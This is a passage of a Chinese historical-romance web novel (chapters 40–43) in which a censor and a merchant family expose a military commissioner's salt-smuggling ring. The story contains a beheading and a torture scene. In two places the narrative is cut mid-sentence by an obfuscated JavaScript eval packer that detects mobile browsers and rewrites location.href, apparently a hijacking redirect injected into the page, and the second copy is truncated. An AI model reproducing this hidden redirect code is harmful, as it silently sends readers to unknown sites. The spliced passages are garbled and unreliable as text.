“你今天……”林长亭偏过头去,问道,“是不是有什么心事?” “嗯?” “你看起来和平日不太一样。是有人惹你不高兴了吗?” “没有。” “有人欺负你了?” “没有。” “你受伤了?” 他的语调莫名提高了三分,苏玉淑抬头,恰好对上林长亭急切的目光,她微微一笑:“没有,我就是突然很想见你。” 林长亭低下头,不再言语。 “你的脸红了。”半晌,苏玉淑站起身说道,“泡太久了不好,我先走啦。你放心,我不会告诉任何人的。” “知道了。” “对了,林大人。” 林长亭皱着眉头抬起脸:“什么事?” “你身上真白,嘿嘿。” “你!” 苏玉淑啊苏玉淑,你别让我逮到你!林长亭咬牙切齿地爬出木盆,气呼呼地扯过一旁的衣服,一个油纸包“啪”的一声掉落在地。 他没好气地捡起来,是个糖饼,旁边还附有一张小纸条: “一切顺利,善自珍摄。” 林长亭叹了口气,随后笑了出来。他摸了摸身上遍布的伤疤,在热水的浸泡下,伤疤还微微发烫。水珠从他的发梢不断滴落,啪嗒啪嗒地敲击着林长亭的心。 其实……他本想洗过澡之后去见她。 只是她先来了。 他咬下一口糖饼,里面的馅料已经凝固了,甜得他微微皱眉。但他知道,这大概是樊城里她能找到的最好吃的东西了。 林长亭穿好衣服,月夜变得格外寒冷,晚风吹过他的衣袂,一缕淡淡的皂角香飘得很远很远。叶荣嬉皮笑脸地走出来:“少爷,嘿嘿。” 林长亭鬼使神差地红了脸。他轻咳一声,沉下脸色:“再有第二次,我就砍了你的手。” “是是是,少爷,不会了,我保证!我一定把门给您守得牢牢的!” 鸩此刻有些慌张。回客栈的路上,苏玉淑不仅蹦蹦跳跳,脸上还一直挂着难以形容的傻笑,问她什么她也不说,只是一个劲儿地咧嘴笑。 在夜里看着怪瘆人的。 “大小姐,你到底怎么了?” “我手里可有你家少爷的把柄咯!” 没走几步路,苏玉淑高高兴兴地往怀里掏。她左摸两下,右摸两下,接着脸色一变,几番摸索后,她终于接受现实,仰天悲叹—— “糖饼!我的糖饼落下了!我的糖饼啊!林长亭!你还我糖饼啊!” 41. 第四十一章 翌日卯时。 林长亭早早便守在了苏玉鸿身旁。依照约定,今日他们要与人交接私盐,苏玉鸿需带着令牌,佯装成代替杜家的接头人前去应对。此去凶险异常,若能顺利完成,自然皆大欢喜;可一旦有一步走错,便会满盘皆输。苏家与林长亭早已是一条绳上的蚂蚱,无论谁都只能背水一战。 苏玉鸿此刻正站在一旁望着盐箱出神。 父亲总是和他说起当年先祖靠着盐业发家的不易,可兴许是这些年来好日子过得太多了,平淡的光景如同流水一般把他苏家的棱角磨得光滑圆润,早就忘了什么居安思危的道理。这盐乃食肴之将,盐业乃生民之喉命,苏玉鸿突然有些迷茫,也不知是这太平盛世造就了苏家,还是苏家的生意推动了这天下的太平。 或许二者都不是。 这天下的太平从不在平民的手里,而在朝堂之人一念之间。 “没事的,有我在。” 苏玉鸿转过身,脸上露出一抹笑意,说道:“林兄依旧这般稳妥可靠,如此一来,我便安心了。” “我的人手早已暗中部署妥当,你只需按计划行事即可,他们会优先保护你的安全。”林长亭环顾四周,见无人在场,便凑近苏玉鸿,压低声音说道,“玉淑也有专人守护,她不会有事的。” “我担忧的并非今日之事。”苏玉鸿笑着拍了拍林长亭的背。 “那你是在担心何事?” “无妨,若日后有机会,我再向林兄解释。今日……” 这时,张青叫嚷着从院子里走了出来,远远便能看出他醉意阑珊的模样。昨夜,他带头聚众赌钱、饮酒作乐,吵嚷声让整个院子都不得安宁。若不是此人还有些用处,林长亭早就一剑将他斩杀,以求清净了。 “等今天这破差事一结束,咱们哥几个就去樊城吃酒、逛窑子!哈哈哈哈!到时候我看谁还能管得了我!什么规矩、祖宗,都给我靠边站!”他宿醉之后,嗓音愈发难听,好似一只刚被开水烫过咕咕乱叫的老斑鸠。 林长亭冷眼旁观着这一切。他对这个人早已忍无可忍。 倘若只是普通的地皮流氓,若赶上他心情不错,或许还能饶其一命。但像张青这等货色,就算他能容忍,想来苏玉淑也绝难容下。这种人不仅毫无用处,还整日吵吵嚷嚷、聒噪不休,一张嘴到处惹是生非,倒不如一刀了结,以绝后患来得痛快。若不是张青犯傻,只怕私盐一案还没这么快解决,他们到头来还得感谢这个没用的家伙。 刘掌柜听到声音,急忙提着裤腰慌慌张张地往外跑。他顾不上脚步踉跄,伸手就去抓张青的袖口,急切地说道:“你给我闭嘴!这儿可不是盐场,这是樊城!” “我才不管这是哪儿!”张青大手一挥,将掌柜的甩出去二尺多远,嚣张道,“反正今天这事儿有我的功劳,上面的大人难道还能杀了我不成?要是论功行赏,我只怕比你还更吃香呢!都到这地步了,就别再拿你那副掌柜的派头来压我了, 告诉你,老子可不吃这一套!昨天已经有人亲自给我送来了送盐的地址,现在可轮不到你说话了!等老子飞黄腾达了,姓刘的,你还得求着我呢!” 刘掌柜的嘴唇微微开合,胡子抖了又抖。他欲言又止,手在半空中伸出去又缩回来,最后只留下一声长叹。 “兄弟们,起箱——” 据张青所说,写着交易地点的纸条是在他喝得酩酊大醉之后,突然出现在房间里的。他神气活现地走在队伍最前面,活像一只昂着脖子的鹅。林长亭趁人不注意,迅速将消息传递了出去,此刻他的人马也正在集结赶来。 苏玉鸿没有骑马,他走在队伍正中间,腰间显眼的位置挂着那枚令牌。 队伍浩浩荡荡地穿过樊城大街,零星的路人目不斜视地从街道两旁匆匆走过。这座城安静得宛如一座死城,唯有车轮滚滚之声,像是这死寂之地唯一微弱的心跳。林长亭不动声色地摸了摸腰间的匕首,这里的诡异程度远超他的想象。 他誓要在樊城了结此事,将这里作战场,作牢笼。 接头地址位于城郊,他们几乎斜着穿行了整座城市。车队在一片死寂中格外显眼,想来这正是接头之人的意图。路程越长,越便于观察。就连苏玉鸿也察觉到了来自不同方向的视线,他不自在地挪动着双腿,强装镇定。 苏玉淑在鸩的指引下小心翼翼地变换着位置,对方人手众多,且早已占据了最佳位置。他们既要避免被发现,又要保护好林长亭和苏玉鸿,这对初出茅庐的她来说,着实是一项艰巨的任务。好在林长亭的手下身经百战,一路上虽有惊险,但总算有惊无险。 约莫过了一个多时辰,众人终于抵达此行的目的地。 与樊城城内规整的布局不同,城郊显得格外荒凉,视野也更为开阔。站在这条大路上,一眼便能望到尽头。尽头处布满了带刺的篱笆栅栏,几名身着重甲的士兵手持利刃,严阵以待。兵甲操练扬起的沙尘格外醒目,耳畔偶尔还传来几声马的嘶鸣—— 这里分明是一座军营! “你就待在这儿。”鸩指了指脚下,“一步都不许离开。” 苏玉淑撇了撇嘴,刚想开口,一抬头便对上了鸩的目光。 那些耍赖的话顿时卡在了喉咙里,她从未见过鸩如此冷峻的神情。 鸩的一双黑眸毫无光亮,深邃得如同不见底的深渊。 “情报里并未提及这里有军营。”她的声音冰冷,“我不敢保证你不会出事。少爷吩咐过,要我保护好你。你先待在这里,我去打探一番就回来,切记不要暴露自己。” 苏玉淑点了点头。 她深知当下的局势,自己在林长亭的计划中,是一颗不安定的棋子。听从鸩的指挥是最为明智的选择,她绝不能任性妄为。 一阵沙沙声过后,鸩已消失不见。苏玉淑静静地伏下身子,从这个角度刚好能看到军营的校场,她不由自主地握紧了拳头,静静地观察着这一切,却又无能为力。 车队在军营正门口停了下来,守卫似乎早有预料,连多问一句的意思都没有。张青满脸堆笑地迎上去:“军爷,军……” 守卫斜睨了他一眼,那冰冷的目光从重甲的缝隙间射来,张青吓得大气都不敢出一声。守卫上下打量了张青一番,紧接着用枪柄猛地将他撞了出去,喝道:“滚!” 苏玉鸿知道他在找什么。 他穿过队伍,对着守卫轻轻拱手作揖,说道:“您可是在找在下。” 墨玉般的令牌在阳光下反射出柔和的光泽,守卫当即转身招手,喊道:“放行!” 车马如流水般从张青身边经过,除了刘掌柜瞥了他一眼,没有一个人多看他。他浑身沾满泥土,嘴角还糊着些沙子,狼狈不堪地瘫倒在地上。换作常人,此刻怕是早就灰溜溜地躲起来,羞于见人了,可他张青却不一样。 他双眼急切地瞪着那块随着大少爷步伐晃动的令牌,眼神中几乎要迸射出绿光。不就是块令牌吗?这破牌子能从杜家到苏家,就能到他手里!今天是他张青这辈子的重要日子,他一定要想个法子,盖过苏玉鸿的风头。 张青狠狠啐了一口,抹了把脸,又屁颠屁颠地混进了队伍里。 一行人在兵卒的护送下来到空旷的校场。按理说,此时正是操练的好时机,可校场却仿佛被特意清空,只留下一片空地。苏玉淑远远地看见哥哥上前与人交谈了几句,随后一抬手,盐工们便将箱子运往军帐后方。 她紧张到了极点。此刻,鸩不知道埋伏在哪里,其他人手的分布她也一无所知,她只能胆怯地望着林长亭那张冷静的脸。 蓦地,林长亭朝着她所在的方向抬头看去。他很快又转过了头,尽管只是一瞬间,苏玉淑还是感觉到两人的目光如电光石火般交汇。她张了张嘴,却又迅速压抑住这股冲动。 按理说,他是看不到自己的,这不过是巧合罢了。 苏玉淑蹲下身子,在巨大的压力下,她一把抓住身旁的青草,几乎要将汁液攥出来。 不能慌,千万不能慌。 她努力让自己镇定下来,扛着内心的惊恐挺直了身子。此刻,校场上只剩下当家的苏玉鸿,林长亭扮成小厮站在一旁。刘掌柜在后方指挥着私盐的装卸,以他的老练,此时绝不是出风头的好时机,倒不如老老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517781|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实实闭嘴干活。 “制置使有令,传苏家商号苏玉鸿进帐说话。” 苏玉鸿此刻也是心跳如鼓。他不动声色地咬了咬后槽牙,脸上依旧是那副温润恭顺的模样。天气酷热,军帐里却凉爽宜人,硕大的冰块就摆在帐子正中央。要知道,冰在民间可是极为稀罕,就算是苏家这样的家底也轮不到用冰。 可在这里,冰块却像路边随手就能捡到的东西。 廉价得可怕。 “小人苏玉鸿,参见制置使大人。” 他跪倒在地,压低身子,就像往常拜见那些高官一样。 “呵呵,早就听闻苏家大少爷是个文雅君子,脾气秉性再好不过。今日一见,果真如此啊,哈哈哈!” “大人过奖了。” 这人声音洪亮,听起来中气十足,不用抬头便知是个身强体壮之人。苏玉鸿谨守本分,头低得不能再低,此时他身处军营,纵使有什么办法,也得先小心应对。 “起来说话吧,我们可不像那帮文官那样酸溜溜的。” “谢大人。” 苏玉鸿这才壮着胆子起身抬头,只见面前坐着的正是制置使史明。他身着黑漆顺水山字甲,嵌着金银掐丝花纹的兜鍪端端正正地放在一旁。手甲与云靴上绣着相同的纹样,披帛和笏头带则随意地搭在一旁的架子上,整个人看起来威严端庄又不失亲和,乍一看,实在难以将他与私盐一案联系起来。 “你可知道你此次为本官运送的是何物?” 苏玉鸿点点头:“小人知晓。” “回答倒是干脆。”史明轻轻哼了一声,“你就不害怕?” “自然是害怕的。” 史明饶有兴致地打量着他:“害怕?听说你可是从令妹手中夺过令牌,抢着为本官跑这一趟的?” 苏玉鸿心中一惊。他们这一路把张青和刘掌柜看得紧紧的,到军营也不过一盏茶的工夫,他是如何这么快得知此事的? 难不成还有奸细? 来不及多想,苏玉鸿猛地跪倒在地:“大人,令妹行事无状、举止粗野,怎可为大人效力?我苏家虽不算高门大族,但也想在贵人面前挣些脸面。玉淑年纪尚小,即便有心效力,却无才无能,不如我这个做哥哥的为大人跑这一趟更为稳妥。还望大人能庇护我苏家,给我一个为您办事的机会。” 随行进来的林长亭着实为他捏了把汗。幸好苏玉鸿反应快,这八面玲珑、左右逢源的本事,只怕只有他这个经常走南闯北的商贾才有。他趁机偷偷瞥了一眼史明,刚刚还紧皱的眉头此刻已舒展开来,脸上堆满了笑容,连胡子都跟着抖动起来: “哈哈哈哈!不愧是苏大少爷,说话就是顺耳!罢了罢了,看在你一路舟车劳顿的份上,就不和你计较这么多了!只是一样……东西可完好无损?” “任凭大人检查。” 史明话锋一转,说道:“苏家办事,我还是颇为放心的。只是今日乃是你头一遭亲自运送,我难免要多问上几句。苏大少爷……你这令牌……” 苏玉鸿立刻呈上早已准备好的说辞:“那杜家为了些许蝇头小利,便与师城各方结下了仇怨,自然不再适宜出面。杜老爷年事渐高,身体也日益衰弱。临终之前,杜老爷特意将其妻女及家中生意托付给家父照料,而大人这边的事务,家父自然会更加上心。从今往后,由我苏家接手为大人效力,这令牌自然也就到了我们苏家人手中。” “杜家的事儿我也略有耳闻,论起关系来,我还是他家拐弯抹角的姨丈呢!若不是夫人举荐,我可瞧不上这姓杜的。对夫人不好的人能是什么好东西,呸!”史明拍了拍自己的肚皮,爽朗地笑道,“死了也好,只是这盐事至关重要,我不得不小心谨慎呐。苏少爷,你自行开箱吧!” 苏玉淑蹲在低矮的灌木丛里,对军帐中刚刚发生的一切全然不知。眼见苏林二人的身影出现,她长舒了一口气。接下来只需静观其变,等待信号即可。 然而,就在苏玉鸿触碰盐箱的瞬间,变故陡生。一道人影冷不丁地从众人中蹿出,径直滑跪在史明身前: “大人!草民有要事相告!” 42. 第四十二章 来人正是张青。 他眼见自己快没了机会便不顾一切地叫喊:“大人!大人!这苏家根本就不是真心实意待您的!小的,小的才是真正的大功臣啊!” 苏玉鸿被这突如其来的一出戏吓得不轻,林长亭眼疾手快地拉住了他的衣角,那些险些脱口而出的辩解瞬间消弭。 “哟呵。”史明冷哼一声,“这又是个什么东西?” 张青连滚带爬地挪到制置使的脚下:“大人!小的叫张青,这东西可是我和我妹夫一直替杜家办的!这盐怎么来的,他苏玉鸿说得清吗?之前种种路数他怎么可能知道! 在师城谁不知道杜家死了人出了事儿,这令牌后来怎么到他妹妹手里的谁能说清楚!大人,昨天那地址可是塞到我房里的!您肯定是知道我的!大人,您一定要擦亮眼睛啊!小的才是真正忙前忙后,帮您——” 唰—— 刀口划破空气的风几乎扑到了苏玉鸿的脸上,那股带着腥味儿的温热熏得他一阵恶心。苏玉鸿拼了命才忍住惊呼,他踉跄着后退了两步,张青的头颅就这么毫无征兆地滚落在地,沾满了沙子的脖颈还在汩汩冒血,那双直到死前都不知道发生了什么的眼睛就这么直勾勾地盯着众人。 苏玉鸿的手攥了又开,他想抓住些什么,可最后摸到的只有那块令牌。 沾满了血的令牌。 史明满不在乎地用挂在身后的狼尾擦了擦刀,又顺手把刀丢向护卫:“什么东西都能到本官面前狗叫几句了。这点屁事还真当我不知道吗?” 军营里四下无声,苏玉淑远远地只觉得自己后颈发凉。这一刀砍断的不止是张青的脖子,更是她于刀尖作舞的那不切实际的幻想。她现在才对自己做的事情有了清醒的认识,她根本不是什么游走江湖的女侠,而是把自己和全家的脑袋别在腰带上的疯子。 如果被砍了的是哥哥,只怕她现在已经疯了。 “怎么,怕了?”史明嘿嘿一笑,当即一脚踢飞了血淋淋的头,“这有啥的,一个读书人,一个商人,都是胆小如鼠,嘿嘿。” 苏玉鸿还未从震惊中缓过神来,他呆滞地点点头,不知道从自己嘴里说出来的话都附和了些什么。 他只知道无人在意地上的无头尸体,众人簇拥着他和制置使向盐箱走去,像是什么都没发生过。 原来人命可以这么不值钱。 苫布沾了清晨的霜露还未干透,握在手里又湿又重。苏玉鸿紧紧攥住一角,指节因过度用力而变得惨白,指尖几乎要嵌进粗糙的苫布里。他深吸一口气,想要平复胸腔中翻腾的恶心与寒意,但那股浓烈的血腥气却如影随形,怎么也驱散不开。 功败垂成尽在此了! 他心里一横,几十个巨大的木箱就这么出现在光天化日之下,箱子上钉入的金属扣子在阳光下肆意地反着光。史明踱步上前,用随身的弯刀撬开其中一个。 夹杂着杂质的,略带些土腥味的粗盐就满满当当的存在里面。他的脸上当即出现满足的笑意:“呵呵,好啊。好啊!” “其实……早有人和我来报,说了杜家死了爹又死女儿,还有你们苏家内讧的那点破事儿。可是要我说,谁家里还没个见不得人的?这能算得了什么?” 史明捻起一撮盐在指尖摩挲着,“能给我,给……呵,只要能办好事,这些谁在乎。你们苏家事儿办的不错,比那非得做着略卖的生意,不赚上几个子儿就难受的杜家强多了。只是……” 苏玉鸿抬起头正对上史明那张皮笑肉不笑的脸,一种不好的预感在他心底蔓延开来:“只是我们也用不上你什么了。” 原本空旷的校场四周突然响起震天的号角声,无数手持弓箭的士兵从营帐两侧的隐蔽处涌出,箭矢如雨点般对准了校场上的所有人。苏玉淑的心瞬间提到了嗓子眼,她下意识地想要冲出去,却被身旁突然出现的鸩死死按住。 “别动!”鸩狠狠地攥着她的手腕,“现在出去就是送死!”苏玉淑眼睁睁看着校场上的士兵迅速结成阵型,将苏林二人以及那些盐工团团围住。 林长亭悄悄将手按在腰间的匕首上,眼神警惕地观察着四周的动静。他知道,真正的硬仗现在才开始。苏玉鸿深吸一口气,强作镇定道:“史大人,我不明白您这是什么意思。您要的东西我们已经按时送到了,至于其他的……” “省省吧,现在多说这些也救不了你的小命。”史明拍拍手,盐工里突然走出一个人,正是一直不声不语的小六子。 “你想让我知道的,不想让我知道的,已经有人都告诉我了。有的话就留着去那边说,冤有头债有主,你就下去去陪杜家老爷吧!哈哈哈哈!” “谁敢动!”林长亭突然一声厉喝,身形如电般挡在苏玉鸿身前,手中的匕首已经出鞘,寒光凛冽。 “区区一个小厮也敢在此放肆!”史明身后的护卫见状,立刻拔刀冲了上来。林长亭毫不畏惧,凭借着灵活的身法在护卫中穿梭,匕首每一次挥动都带着凌厉的风声,转眼就有几名兵卒倒地。苏玉淑在远处看得心惊胆战,她知道林长亭武功高强,但对方人多势众,且都是训练有素的士兵,他一个人根本撑不了多久。 但他又怎会是单刀赴会之人呢。 见自家主子身先士卒,刚刚还老老实实在原地罚站的盐工们突然暴起,他们扯下一身伪装迅速杀入敌营。林长亭早在出发之前便把自己在师城的人手替换进来,防的就是这一刻。 今天,他势必要在此捉拿史明,查他个水落石出! 就在这时,鸩突然低声对苏玉淑道:“打信号!” 苏玉淑一愣,继而迅速掏出早已备好的烟花弹。她对准天空果断拉开了引线,一朵明亮晃眼的金色火弹炸出巨大的声响。 “给谁打的信号啊?” “当然是救兵。”鸩头也不回地说道,“我之前已经打通路子,叶英再传信给樊城知府,算算时间援军应该快到了。我们必须在他们被带走之前拖住史明的人。”苏玉淑心中一动,原来林长亭早就做好了万全准备,她悬着的心稍稍放下了一些,但一种异样的感受却蜿蜒上胸口。 原来他有这么多安排都未曾告知于自己。 林长亭的动作快如鬼魅,手中匕首在日光下划出数道冷芒,又有两名护卫捂着咽喉倒下。史明面色一沉,抬手止住身后欲上前的亲兵:“有点意思。”他从腰间抽出长刀,“可惜啊,今天你们谁也走不了。” 苏玉鸿紧盯着小六子这个棋子,那小厮正缩在史明身后得意,眼神里透着诡异的兴奋。校场东侧突然传来弓弦震颤的嗡鸣,三支羽箭呈品字形射向林长亭后心,他猛地擦地旋身,匕首精准挑飞两支,第三支却擦着肋下滑过带起一串血珠。 林长亭闷哼一声,额角渗出冷汗,握着匕首的手却更紧了。史明见状狂笑:“真当自己是神仙?给我拿下!”四面八方的弓箭手同时搭箭,箭矢如蝗虫般铺天盖地袭来。 苏玉鸿当机立断,掏出早就备好的药粉扬去,刺鼻的烟雾瞬间顺着风弥漫开来,弓箭手们被呛得咳嗽连连,视线也变得模糊不清。场面一片混乱之际,鸩只一个眼色苏玉淑便心领神会,二人从侧翼防守薄弱处突入战场,瞬间放倒一片士兵。 她早已按捺不住胸口的悸动,她一定要和他并肩作战。 她手持利刃踏黄沙破阵而来,一袭白衣染了血污却更显圣洁。苏玉淑踩准地面,马步微蹲一个下劈结结实实地将试图偷袭林长亭的士兵的刀身砍做两半:“林长亭!小心!” “你来干什么!不是要你在一边待着吗!” “我怎么能放着你不管!” 林长亭强忍着肋下的剧痛,越战越勇,他拾起一柄长剑在人群中上下翻飞,所到之处血花飞溅。他绝不能在这里倒下,这里有他没做完的事,有他拼命也要保护好的人。他的亲兵们在主子的带领下更是勇猛,史明的护卫们渐渐有些招架不住,阵型开始出现松动。 “摆阵!摆阵!” 史明气得脸色大变,他挥舞着长刀亲自加入战团,试图稳住局面。 就在双方僵持不下的时候,校场后方突然传来一阵喊杀声。叶英叶荣带着一群援兵从密林中冲了出来,为首的正是樊城驻军。他们个个手持利刃,气势汹汹地加入了战斗。史明的屯兵们见此情形,顿时慌了神,军心大乱。 苏玉淑看准时机,高声喊道:“史明,你私运盐矿,草菅人命!还不束手就擒!” 史明脸色铁青,恶狠狠地瞪着众人:“就凭你们这些乌合之众?做梦!” 战斗进入了白热化阶段,喊杀声兵器碰撞声震得人耳朵生疼。林长亭瞅准一个破绽,飞身扑向史明,剑刃直刺他的咽喉。史明急忙举刀格挡,两人瞬间缠斗在一起,刀光剑影让人眼花缭乱。苏玉淑冷不丁射出一支袖箭,正中史明的膝盖。他吃痛身子一歪,险些撞在林长亭迎面挥来的剑上丢了小命。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“但却是惨胜。也许我们一早能有更好的办法,就不会死这么多人了。” 她要好好地看,死死地记。她要记住今天发生的一切,一将功成万骨枯,她从不觉得自己能处于决定他人生死的位置之上,可若她为持刀人,就绝不会把人当柴火般朝着叫做“功成名就”的锻炉里扔。 苏玉淑抬起头:“我有事要问你。” 林长亭对上这双微微含泪的明眸,一时之间竟有些失神。他所有的话都化作一句轻轻的妥协: “好。” “你为什么——” “少爷!您没事吧!” “玉淑!玉淑!” 叶荣不合时宜地跑了过来,他身后还跟着气喘吁吁的苏玉鸿。二人活像两只护崽的老母鸡般将他俩一人一个拎在手里,左转右转看了又看: “少爷!您受伤了!” “玉淑!你手破了!” 苏林对视一眼,有些无奈:“无妨……” “那怎么行!”苏玉鸿和叶荣气哄哄地异口同声道。叶荣着急忙慌地从人群里招来随行郎中,一把从人家身上夺过金疮药就要往林长亭的肋骨上洒。 苏玉鸿眼疾手快:“先给我妹妹!” “先给我家少爷!” “我妹妹是为了保护林兄才受伤的!” “那要是没我家少爷,你们苏家现在只怕在刑场上了!” “我不管!我妹妹最重要!” “你们苏家一家子强盗!一家子市井小人!你们……” “叶荣,给玉淑先上药。再说些有的没的就去领罚。”林长亭叹了口气,他展开苏玉淑的手细细端详。伤口还是在上次那个位置,这次虽然伤的不重,却也磨掉块皮肉,细密的血珠渗得他心底一阵难过。 “会有点疼,我给你上。” 林长亭不由分说地握紧了她想要抽离的手腕,细腻的药粉星星点点地抖落。他伸出根没有血污的手指轻轻地把药抹匀在伤口上,又小心地吹了吹。 叶荣识相地怼了怼苏玉鸿的胳膊,二人嘴角挂笑轻声离开。在一片打扫战场的嘈杂声中,苏玉淑红了脸,她抿了抿嘴唇,忍不住瞥向一旁。 他眉头一皱:“疼了吗?” “小伤,无妨。” “你啊……就不能不和我逞强吗?” 她还想反驳些什么,可对上林长亭莫名有些哀伤的眼神,她的洒脱和满不在乎却变成了一句矫情: “疼。你得赔我。” 林长亭一愣,继而粲然一笑:“赔,肯定赔。等事情一结束……” “御史大人!” 人群中走出一位身着绿色官府的男子,他颤抖着跪倒在林长亭身前,一声悲叹响彻校场: “樊城上下老小,谢御史大人救命之恩!” 43. 第四十三章 都说男儿有泪不轻弹,这樊城知府两鬓斑白,面容清瘦,还未开口泪已先流:“大人,您救了樊城百姓啊!” 林长亭下意识地把苏玉淑往身后拽了拽,可她就如同倔强的竹子一般怎么都不肯后退半分。 他只得无奈一笑将人留在身旁,冷下脸问道:“此话怎讲?” “这史明是约莫年前调动到的樊城,他制置使掌管军权,本不应插手地方事务。但他仗着手中有人有权,在樊城大肆搜刮,几月前甚至开始招兵买马。我本想派人向上面禀告,但没想到这人竟如此胆大包天!”知府说到动气之处,忍不住连连砸拳,“他扣了我们的人,包抄了府衙,这数月来我们是一点办法都没有!我,我在樊城为官十载……我是眼见着男丁被抓,女眷被占,老少流离失所……我……我该死啊!” “监司没有派人来过吗?转运使呢?” 知府摇摇头,重重叹了口气:“没有。” 林长亭只觉得周身发冷。 他原以为这桩私盐案无非是为利起早,朝廷中有人趁机中饱私囊才这么难查。可如今看来,盐,兵,盼不来的命官…… 他低下头,正对上苏玉淑的视线。她的脸上写满了讶异,即便她一力隐藏自己的惊恐,可那可怖的猜想仍旧在二人之间牵成一根无形的线。 “这根本就不是普通的案子……对吗?” 她的声音有些颤抖,她不知道自己想要一个什么样的答案。如果他答“不”,那么此事就此为止,皆大欢喜。可如果林长亭的回答是“是”,那么她或许能作为私盐案的证人登上更大的舞台,揭开更深的阴谋,可这样她苏家又怎能置身事外? 若是今天的事发生在师城,牵连进来的有她的家人,她只怕早已崩溃。 眼前这些士兵死伤无数,他们连生死都无法选择,又能决定什么呢?他们又是谁家里的顶梁柱,谁的丈夫和父亲呢。 林长亭叹了口气,他什么都没说。 苏玉淑不再追问,她的内心其实早有答案。她定了定心神,拼尽全力挤出一个微笑:“知府大人,民女乃师城商户苏玉淑,今日我苏家涉入此案,虽非自愿,却也做了他人的掌上刀。若大人不嫌弃,我苏家愿意帮助樊城重建商路,保百姓们生活顺畅无虞。” “这……”知府擦了擦挂在眼角的泪珠,“这还需要从长计议……若是能尽快恢复秩序自然是最好,但也需要御史大人的……” “我们还是先回去吧。”林长亭抬了抬下巴,“战场还没有打扫出来,史明要加紧审问,眼下诸事未明,樊城事务也要从长计议。” 苏玉淑这才想起来他身上还带着伤。 她草草行礼,一把拉过林长亭的胳膊就往回走。林长亭被她拽得一个趔趄,他向一脸懵的知府点点头,转过来笑着问道: “你要带我去哪儿?” “去……”苏玉淑一愣,“对啊去哪儿啊?” “不是你在拽着我走吗?” 看着林长亭狐狸一样得意的笑,苏玉淑索性眉毛一抬:“对啊,带你回客栈,这总行吧?” “行。然后呢?” “然后给你上药啊?”她戳了戳他的肋骨,“怎么,不疼了?” 他老老实实答道:“疼。” “那回去行不行?” “行。” 林长亭如此乖顺,倒是让苏玉淑不知道拿他怎么办了。她慌乱地四下看看,正好对上鸩的目光。 下一秒她就跟没看见似的默默走到一边,收拾起兵器来。 苏玉淑气得咬牙切齿,她可真是林长亭的好属下,就这么不管自己了?那找自己哥哥总行了吧?她不死心地转过身去找苏玉鸿,他倒是刚好也看向这边,只是刚要走过来就被叶荣叶英一左一右架起胳膊活生生扛远了。 好啊,好啊! 她眯起眼睛,皮笑肉不笑地凑近林长亭的脸挑衅道:“你的属下都不管你喽!没人要你喽!” 林长亭笑得温和:“有人要。” 行,行! 她真是拿他没办法。 算了,看在他还是个伤员的份上,好女不和男斗。 苏玉淑向远处那匹马努努嘴:“还能骑马吧?” “我要是说不能呢?” “少来这套。”她伸手掏出林长亭藏在腰间的药,炫耀似的晃了晃,“不想疼死就赶紧追我。” 说罢,她留下一个灿若朝阳的笑,三步并作两步跑向远处。 看着她拍马溜号的背影,林长亭忍不住喃喃:“你这丫头……怎么不问问我想不想和你一起走呢。” 一种奇妙的感情弥散在二人之间,恍若一朵轻柔的云将她们的命运轻轻包裹。苏玉淑看不到自己的脸,她只知道自己的心跳如鼓点,脸色怕是红得像七月的石榴花。 在她的身后,林长亭的眼中的溺爱如潮水一般蔓延开来,他瞒不过自己,骗不过自己。这种危险的悸动在他的体内游走,找不到终点。 她的身影越来越远,像是那夜飘落而下的槐花,这朵花从初夏飘到他心里的寒冬。林长亭心中某个地方有一丝松动,如同破土而出的冬树的新芽。 她像上天恩赐给他的太阳,不容置疑地消融着他的世界。 看着自己少爷驾马远去,叶荣撒手撇下人,拽了弟弟就往回走。 “诶?你们两个这就不管我啦?”苏玉鸿一把薅住他的后领,“好歹我是苏玉淑的哥哥吧?” “哦对。”叶荣扯下他腰间的令牌,“我把这个给忘了。” 兄弟二人不顾苏大少爷的叫喊,甩着令牌向已被捆绑好扔在一边的史明走去。且不说这老小子一肚子坏水没吐干净,交手的时候居然敢叫人放冷箭伤了少爷,简直是罪无可恕,罪大恶极。 史明手腕脚腕向后撅着,上面缠着几斤重的麻绳。他嘴里塞着不知道从哪儿捡来的脏布,消失的左耳只剩一个血洞呼呼冒血。 叶英嫌恶地瞪了他一眼:“给你来点好东西,你可别死了,少爷还有话等着问你。” 他掏出一个白瓷瓶,不怀好意一笑。史明就算再蠢,也深知自己落入他们手里绝无什么好下场。他发出了几声低低的哀嚎,明知是无用功还是忍不住瞪了几下腿。叶英蹲下身子,声音轻柔: “别动,这么好的药……倒歪了可就浪费了。” 姜黄色的粉末从瓶口倾泻而出,瞬间覆盖了史明耳朵上的伤口。他猛地瞪大了双眼,剧烈的疼痛瞬间在他体内从头到尾跑了几个来回。 史明浑身抽搐,伤口痛得像千万只虫子在啃噬他的脑髓,堂堂制置使大人此刻顾不得什么脸面身份,他在地上蠕动成一只被扒了皮的肉虫,哀嚎一声赛过一声,药粉和着鼻涕眼泪在脸上混成了泥汤。 “啧。”叶英突然向后退了两步,脸上写满了嫌弃。 叶荣一向不喜欢这种刑罚场面,他转过一直别着的脸,只见一滩明晃晃的水渍正迅速渗进土地里。 “这就尿了。”叶英嗤笑一声,“劲儿更大的还没赏你呢。” “别玩了,赶紧把人送到牢里吧,晚了少爷要不高兴了。” “知道了哥。”叶英笑着拎起早已痛得神志不清的史明的头,“你看,血止住了!” “好了。” 叶荣的声音里夹杂了一丝愠怒,弟弟见状也老实起来。他吐了吐舌头,朝着远处招招手弄来个板车,像扔年猪一样把人扔了上去。 史明被砸得“吭叽”一声,他只觉得天昏地暗,就连阳光洒在身上都冷冷的。今天一朝兵败,要是被那位大人知道了……他一家老小,还有他那个娇嗔的夫人…… 一想到这儿,史明绝望地闭上了眼睛。 